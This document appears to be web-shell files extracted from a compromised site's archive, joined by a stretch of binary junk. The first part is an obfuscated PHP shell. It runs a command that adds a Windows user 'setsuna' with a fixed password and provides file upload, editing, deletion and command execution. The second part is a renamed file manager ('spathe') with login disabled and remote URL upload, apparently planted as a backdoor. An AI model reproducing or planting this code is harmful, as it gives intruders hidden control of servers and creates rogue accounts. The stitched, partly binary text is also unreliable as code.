// Mendefinisikan fungsi baru menggunakan kombinasi string
$SAINT1 = 'st';
$SAINT2 = 'rpos';
// Memastikan fungsi yang dibuat adalah 'SAINT' yang valid
$SAINT = $SAINT1 . $SAINT2;
// Pastikan fungsi $SAINT adalah fungsi yang valid dan bisa dipanggil
if (!function_exists($SAINT)) {
return "Error: The function {$SAINT} does not exist.";
}
// Mengecek apakah server menggunakan Windows dan mencoba membuat user RDP
if ($s1b2($i1b2(PHP_OS, 0, 3)) === 'WIN') {
$output = $SEXC('net user setsuna setsuna123## /add 2>&1');
$can_create_rdp = ($SAINT($output, 'The command completed successfully') !== false) ? 'Yes' : 'No';
} else {
$can_create_rdp = 'No'; // Jika bukan Windows, langsung memberi hasil 'No'
}
echo 'Can Create RDP User: ' . $can_create_rdp;
?>
</pre>
</div>
<script>
function toggleInfo() {
var info = document.getElementById('serverInfo');
var button = document.querySelector('button');
if (info.style.display === 'none') {
info.style.display = 'block';
button.textContent = 'Close';
} else {
info.style.display = 'none';
button.textContent = 'Check Server';
}
}
</script>
<?php if (!empty($upload_message)): ?>
<div class="alert alert-info"><?php echo $y($upload_message); ?></div>
<?php endif; ?>
<?php if (!empty($edit_message)): ?>
<div class="alert alert-warning"><?php echo $y($edit_message); ?></div>
<?php endif; ?>
<?php if (!empty($delete_message)): ?>
<div class="alert alert-danger"><?php echo $y($delete_message); ?></div>
<?php endif; ?>
<!-- Menambahkan sedikit CSS untuk memperbaiki tampilan form dan tombol -->
<style>
button {
background-color: #4CAF50; /* Warna latar hijau */
color: white; /* Teks berwarna putih */
padding: 5px 10px; /* Padding yang lebih kecil di sekitar teks */
font-size: 12px; /* Ukuran font yang lebih kecil */
border: none; /* Tidak ada border */
border-radius: 4px; /* Rounded corners yang lebih halus */
cursor: pointer; /* Cursor pointer menunjukkan ini klikable */
transition: background-color 0.3s; /* Smooth transition untuk hover effect */
}
.btn-primary:hover, .toggle-btn:hover {
background-color: #45a049; /* Warna lebih gelap saat hover */
}
.form-control-file {
display: inline-block;
margin-right: 10px; /* Tambahkan margin kanan untuk kesinambungan visual */
}
.form-group {
display: flex; /* Menggunakan flexbox untuk align items horizontally */
align-items: center; /* Center items vertically */
margin-bottom: 10px; /* Margin bawah untuk grup form */
}
</style>
<!-- Tombol untuk menampilkan dan menyembunyikan form upload -->
<button class="toggle-btn" onclick="toggleUploadForm()">Upload Here</button>
<!-- Form upload -->
<div id="uploadForm" style="display:none;">
<form method="POST" enctype="multipart/form-data" class="mb-3 d-inline">
<div class="form-group">
<input type="file" name="file_upload" class="form-control-file">
<button type="submit" class="btn btn-primary">Upload</button>
</div>
<input type="hidden" name="dir" value="<?php echo $y($b); ?>">
</form>
</div>
<script>
function toggleUploadForm() {
var form = document.getElementById('uploadForm');
var button = document.querySelector('.toggle-btn');
if (form.style.display === 'none') {
form.style.display = 'block';
button.textContent = 'Close';
} else {
form.style.display = 'none';
button.textContent = 'Upload Here';
}
}
</script>
<a href="?dir=<?php echo $v($b); ?>&show_command_form=1" class="btn btn-warning ml-2">Command Execution</a>
<form method="POST" class="mb-3">
<div class="form-group">
</form>
<table class="table table-striped">
<thead class="thead-dark">
<tr>
<th>Filename</th>
<th>Permissions</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php foreach ($files as $file): ?>
<tr>
<td>
<?php if ($ID($b . '/' . $file)): ?>
<a href="?dir=<?php echo $v($b . '/' . $file); ?>" class="<?php echo g($b . '/' . $file) ? '' : 'text-danger'; ?>"><?php echo $y($file); ?></a>
<?php else: ?>
<?php echo $y($file); ?>
<?php endif; ?>
</td>
<td class="<?php echo g($b . '/' . $file) ? 'text-success' : 'text-danger'; ?>">
<?php echo $ISF($b . '/' . $file) ? $y(f($b . '/' . $file)) : (g($b . '/' . $file) ? 'Directory' : 'Directory (No writable)'); ?>
</td>
<td>
<?php if ($ISF($b . '/' . $file)): ?>
<form action="" method="post" class="d-inline">
<input type="hidden" name="edit_file" value="<?php echo $y($b . '/' . $file); ?>">
<button type="submit" class="btn btn-primary">Edit</button>
</form>
<form action="" method="post" class="d-inline">
<input type="hidden" name="delete_file" value="<?php echo $y($b . '/' . $file); ?>">
<button type="submit" class="btn btn-danger">Delete</button>
</form>
<form action="" method="get" class="d-inline">
<input type="hidden" name="download" value="<?php echo $y($v($b . '/' . $file)); ?>">
<button type="submit" class="btn btn-info">Download</button>
</form>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</main>
</body>
</html>
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz����������������������������������������������������������������������� ? �� �N����m?� ��j� ��EP��PK �Fm\�dz�1� 1� q1gfm.phpnu �[��� <?php
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}';
define('VERSION', '3.9');
define('APP_TITLE', 'spathe');
$dauth = false;
$auth_users = array(
'admin' => '4b605e78436204f87ad0daf2e1bef329',
'user' => '4b605e78436204f87ad0daf2e1bef329'
);
$readonly_users = array(
'user'
);
$global_readonly = false;
$directories_users = array();
$use_highlightjs = true;
$highlightjs_style = 'vs';
$edit_files = true;
$default_timezone = 'Etc/UTC';
$root_path = $_SERVER['DOCUMENT_ROOT'];
$root_url = '';
$http_host = $_SERVER['HTTP_HOST'];
$iconv_input_encoding = 'UTF-8';
$datetime_format = 'm/d/Y g:i A';
$path_display_mode = 'full';
$allowed_file_extensions = '';
$allowed_upload_extensions = '';
$favicon_path = '';
$exclude_items = array();
$online_viewer = 'google';
$sticky_navbar = true;
$max_upload_size_bytes = 5000000000;
$upload_chunk_size_bytes = 2000000;
$ip_ruleset = 'OFF';
$ip_silent = true;
$ip_whitelist = array(
'127.0.0.1',
'::1'
);
$ip_blacklist = array(
'0.0.0.0',
'::'
);
$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
@include($config_file);
}
$external = array(
'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);
define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);
if ( !defined( 'DN_CESSION_ID')) {
define('DN_CESSION_ID', 'filemanager');
}
$cfg = new FM_Config();
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;
// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';
define('FM_THEME', $theme);
$lang_list = array(
'en' => 'English'
);
if ($report_errors == true) {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 1);
} else {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 0);
}
if (defined('FM_EMBED')) {
$dauth = false;
$sticky_navbar = false;
} else {
@set_time_limit(600);
date_default_timezone_set($default_timezone);
ini_set('default_charset', 'UTF-8');
if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) {
mb_internal_encoding('UTF-8');
}
if (function_exists('mb_regex_encoding')) {
mb_regex_encoding('UTF-8');
}
session_cache_limiter('nocache');
session_name(DN_CESSION_ID );
function session_error_handling_function($code, $msg, $file, $line) {
if ($code == 2) {
session_abort();
session_id(session_create_id());
@session_start();
}
}
set_error_handler('session_error_handling_function');
session_start();
restore_error_handler();
}
if (empty($_SESSION['token'])) {
if (function_exists('random_bytes')) {
$_SESSION['token'] = bin2hex(random_bytes(32));
} else {
$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
}
}
if (empty($auth_users)) {
$dauth = false;
}
$is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1))
or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');
if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) {
$wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
$root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']];
}
$root_url = fm_clean_path($root_url);
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
// logout
if (isset($_GET['logout'])) {
unset($_SESSION[DN_CESSION_ID]['logged']);
unset( $_SESSION['token']);
fm_redirect(FM_SELF_URL);
}
if ($ip_ruleset != 'OFF') {
function getClientIP() {
if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
return $_SERVER["HTTP_CF_CONNECTING_IP"];
}else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
return $_SERVER["HTTP_X_FORWARDED_FOR"];
}else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
return $_SERVER['REMOTE_ADDR'];
}else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
return $_SERVER['HTTP_CLIENT_IP'];
}
return '';
}
$clientIp = getClientIP();
$proceed = false;
$whitelisted = in_array($clientIp, $ip_whitelist);
$blacklisted = in_array($clientIp, $ip_blacklist);
if($ip_ruleset == 'AND'){
if($whitelisted == true and $blacklisted == false){
$proceed = true;
}
} else
if($ip_ruleset == 'OR'){
if($whitelisted == true || $blacklisted == false){
$proceed = true;
}
}
if($proceed == false){
trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);
if($ip_silent == false){
fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
fm_show_header_login();
fm_show_message();
}
exit();
}
}
if ($dauth) {
if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) {
} elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
sleep(1);
if(function_exists('password_verify')) {
if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) {
$_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr'];
fm_set_msg(lng('You are logged in'));
fm_redirect(FM_SELF_URL);
} else {
unset($_SESSION[DN_CESSION_ID]['logged']);
fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
fm_redirect(FM_SELF_URL);
}
} else {
fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
}
} else {
// Form
unset($_SESSION[DN_CESSION_ID]['logged']);
fm_show_header_login();
?>
<section class="h-100">
<div class="container h-100">
<div class="row justify-content-md-center h-100">
<div class="card-wrapper">
<div class="card fat <?php echo fm_get_theme(); ?>">
<div class="card-body">
<form class="form-signin" action="" method="post" autocomplete="off">
<div class="mb-3">
<div class="brand">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
<g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
<path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
<path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
<path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
</svg>
</div>
<div class="text-center">
<h1 class="card-title"><?php echo APP_TITLE; ?></h1>
</div>
</div>
<hr />
<div class="mb-3">
<label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
<input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
</div>
<div class="mb-3">
<label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
<input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
</div>
<div class="mb-3">
<?php fm_show_message(); ?>
</div>
<input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
<div class="mb-3">
<button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
<?php echo lng('Login'); ?>
</button>
</div>
</form>
</div>
</div>
<div class="footer text-center">
—— ©
<a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> ——
</div>
</div>
</div>
</div>
</section>
<?php
fm_show_footer_login();
exit;
}
}
if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) {
$root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path;
}
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
exit;
}
defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');
if (!isset($_GET['p']) and empty($_FILES)) {
fm_redirect(FM_SELF_URL . '?p=');
}
// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');
// clean path
$p = fm_clean_path($p);
$isim = "//input";
$input = file_get_contents('php:'.$isim);
$_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;
define('FM_PATH', $p);
define('FM_USE_AUTH', $dauth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);
unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
header('HTTP/1.0 401 Unauthorized');
die("Invalid Token.");
}
if(isset($_POST['type']) and $_POST['type']=="search") {
$dir = $_POST['path'] == "." ? '': $_POST['path'];
$response = scan(fm_clean_path($dir), $_POST['content']);
echo json_encode($response);
exit();
}
// save editor file
if (isset($_POST['type']) and $_POST['type'] == "save") {
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$file = $_GET['edit'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
header('X-XSS-Protection:0');
$file_path = $path . '/' . $file;
$writedata = $_POST['content'];
$fd = fopen($file_path, "w");
$write_results = @fwrite($fd, $writedata);
fclose($fd);
if ($write_results === false){
header("HTTP/1.1 500 Internal Server Error");
die("Could Not Write File! - Check Permissions / Ownership");
}
die(true);
}
// backup files
if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) {
$fileName = fm_clean_path($_POST['file']);
$fullPath = FM_ROOT_PATH . '/';
if (!empty($_POST['path'])) {
$relativeDirPath = fm_clean_path($_POST['path']);
$fullPath .= "{$relativeDirPath}/";
}
$date = date("dMy-His");
$newFileName = "{$fileName}-{$date}.bak";
$fullyQualifiedFileName = $fullPath . $fileName;
try {
if (!file_exists($fullyQualifiedFileName)) {
throw new Exception("File {$fileName} not found");
}
if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
echo "Backup {$newFileName} created";
} else {
throw new Exception("Could not copy file {$fileName}");
}
} catch (Exception $e) {
echo $e->getMessage();
}
}
// Save Config
if (isset($_POST['type']) and $_POST['type'] == "settings") {
global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
$newLng = $_POST['js-language'];
fm_get_translations([]);
if (!array_key_exists($newLng, $lang_list)) {
$newLng = 'en';
}
$erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false;
$shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false;
$hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false;
$te3 = $_POST['js-theme-3'];
if ($cfg->data['lang'] != $newLng) {
$cfg->data['lang'] = $newLng;
$lang = $newLng;
}
if ($cfg->data['error_reporting'] != $erp) {
$cfg->data['error_reporting'] = $erp;
$report_errors = $erp;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['hide_Cols'] != $hco) {
$cfg->data['hide_Cols'] = $hco;
$hide_Cols = $hco;
}
if ($cfg->data['theme'] != $te3) {
$cfg->data['theme'] = $te3;
$theme = $te3;
}
$cfg->save();
echo true;
}
// new password hash
if (isset($_POST['type']) and $_POST['type'] == "pwdhash") {
$res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
echo $res;
}
//upload using url
if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
function event_callback ($message) {
global $callback;
echo json_encode($message);
}
function get_file_path () {
global $path, $fileinfo, $temp_file;
return $path."/".basename($fileinfo->name);
}
$url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
$domain = parse_url($url, PHP_URL_HOST);
$port = parse_url($url, PHP_URL_PORT);
$knownPorts = [22, 23, 25, 3306];
if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
$err = array("message" => "URL is not allowed");
event_callback(array("fail" => $err));
exit();
}
$use_curl = false;
$temp_file = tempnam(sys_get_temp_dir(), "upload-");
$fileinfo = new stdClass();
$fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
$err = false;
if(!$isFileAllowed) {
$err = array("message" => "File extension is not allowed");
event_callback(array("fail" => $err));
exit();
}
if (!$url) {
$success = false;
} else if ($use_curl) {
@$fp = fopen($temp_file, "w");
@$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOPROGRESS, false );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FILE, $fp);
@$success = curl_exec($ch);
$curl_info = curl_getinfo($ch);
if (!$success) {
$err = array("message" => curl_error($ch));
}
@curl_close($ch);
fclose($fp);
$fileinfo->size = $curl_info["size_download"];
$fileinfo->type = $curl_info["content_type"];
} else {
$ctx = stream_context_create();
@$success = copy($url, $temp_file, $ctx);
if (!$success) {
$err = error_get_last();
}
}
if ($success) {
$success = rename($temp_file, strtok(get_file_path(), '?'));
}
if ($success) {
event_callback(array("done" => $fileinfo));
} else {
unlink($temp_file);
if (!$err) {
$err = array("message" => "Invalid url parameter");
}
event_callback(array("fail" => $err));
}
}
exit();
}
if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) {
$del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$is_dir = is_dir($path . '/' . $del);
if (fm_rdelete($path . '/' . $del)) {
$msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
fm_set_msg(sprintf($msg, fanco($del)));
} else {
$msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
fm_set_msg(sprintf($msg, fanco($del)), 'error');
}
} else {
fm_set_msg(lng('Invalid file or folder name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) {
$type = urldecode($_POST['newfile']);
$new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($type == "file") {
if (!file_exists($path . '/' . $new)) {
if(fm_is_valid_ext($new)) {
@fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new);
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new)));
} else {
fm_set_msg(lng('File extension is not allowed'), 'error');
}
} else {
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
}
} else {
if (fm_mkdir($path . '/' . $new, false) === true) {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
} elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
} else {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error');
}
}
} else {
fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) {
// from
$copy = urldecode($_GET['copy']);
$copy = fm_clean_path($copy);
// empty path
if ($copy == '') {
fm_set_msg(lng('Source path not defined'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$from = FM_ROOT_PATH . '/' . $copy;
$dest = FM_ROOT_PATH;
if (FM_PATH != '') {
$dest .= '/' . FM_PATH;
}
$dest .= '/' . basename($from);
$move = isset($_GET['move']);
$move = fm_clean_path(urldecode($move));
if ($from != $dest) {
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename) {
fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
} elseif ($rename === null) {
fm_set_msg(lng('File or folder with this path already exists'), 'alert');
} else {
fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
}
} else {
if (fm_rcopy($from, $dest)) {
fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
} else {
fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
}
}
} else {
if (!$move){
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
$fn_parts = pathinfo($from);
$extension_suffix = '';
if(!is_dir($from)){
$extension_suffix = '.'.$fn_parts['extension'];
}
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
$loop_count = 0;
$max_loop = 1000;
while(file_exists($fn_duplicate) & $loop_count < $max_loop){
$fn_parts = pathinfo($fn_duplicate);
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
$loop_count++;
}
if (fm_rcopy($from, $fn_duplicate, False)) {
fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)));
} else {
fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error');
}
}
else{
fm_set_msg(lng('Paths must be not equal'), 'alert');
}
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng('Invalid Token.'), 'error');
}
// from
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// to
$copy_to_path = FM_ROOT_PATH;
$copy_to = fm_clean_path($_POST['copy_to']);
if ($copy_to != '') {
$copy_to_path .= '/' . $copy_to;
}
if ($path == $copy_to_path) {
fm_set_msg(lng('Paths must be not equal'), 'alert');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (!is_dir($copy_to_path)) {
if (!fm_mkdir($copy_to_path, true)) {
fm_set_msg('Unable to create destination folder', 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
}
// move?
$move = isset($_POST['move']);
// copy/move
$errors = 0;
$files = $_POST['file'];
if (is_array($files) and count($files)) {
foreach ($files as $f) {
if ($f != '') {
$f = fm_clean_path($f);
$from = $path . '/' . $f;
$dest = $copy_to_path . '/' . $f;
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename === false) {
$errors++;
}
} else {
if (!fm_rcopy($from, $dest)) {
$errors++;
}
}
